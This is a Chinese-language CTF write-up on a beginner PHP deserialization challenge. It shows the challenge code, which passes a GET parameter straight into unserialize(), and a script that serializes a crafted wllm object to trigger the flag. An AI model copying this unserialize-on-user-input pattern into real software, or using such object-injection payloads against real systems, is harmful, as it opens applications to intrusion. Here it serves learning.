概括 這是一道PHP反序列化的CTF賽題,本意是想用這道題對PHP反序列化進行一定的學習。 過程 我們打開賽題,看看內容 沒有發現什麼東西,看看他的頁面代碼 根據他的提示,感覺是存在一個robots.txt文件的,嘗試訪問一下。 進去看看。 果然如此 我們來分析一下這段代碼 <?php error_ ...
概括
這是一道PHP反序列化的CTF賽題,本意是想用這道題對PHP反序列化進行一定的學習。
過程
我們打開賽題,看看內容
沒有發現什麼東西,看看他的頁面代碼
根據他的提示,感覺是存在一個robots.txt文件的,嘗試訪問一下。
進去看看。
果然如此
我們來分析一下這段代碼
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
我們進行代碼分析:
- error_reporting(0); :關閉PHP錯誤報告。
- show_source("cl45s.php"); :顯示這個文件裡面的內容。
- 創建了一個wllm類,然後在類裡面定義了兩個公共屬性$admin與$passwd。
- 創建了兩個函數__construct()函數和__destruct()函數,這兩個的功能分別是初始化admin和passwd以及判斷admin和passwd的值是否為ture。
- 如果admin==="admin",passwd==="ctf"的話,則echo出包含的flag文件
- 通過GET方式上傳一個p參數,並將其傳遞給unserialize()函數進行反序列化。
我們可以通過實例化這個類,分別給admin和passwd賦值,然後使用序列化函數進行序列化操作,最後通過p參數進行上傳訪問。
腳本
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$w = new wllm();
$w->admin = "admin";
$w -> passwd = "ctf";
$w=serialize($w);
echo $w;
?>
拿下flag
總結
這道賽題讓我們可以簡單入門php的反序列化,其中對於代碼解析上存在一些疑問。比如這裡的$this->admin與$this->passwd。這裡通過Google瞭解到,$this在OOP中是一個偽變數,簡單點說就是哪個對象調用,$this就是哪個變數。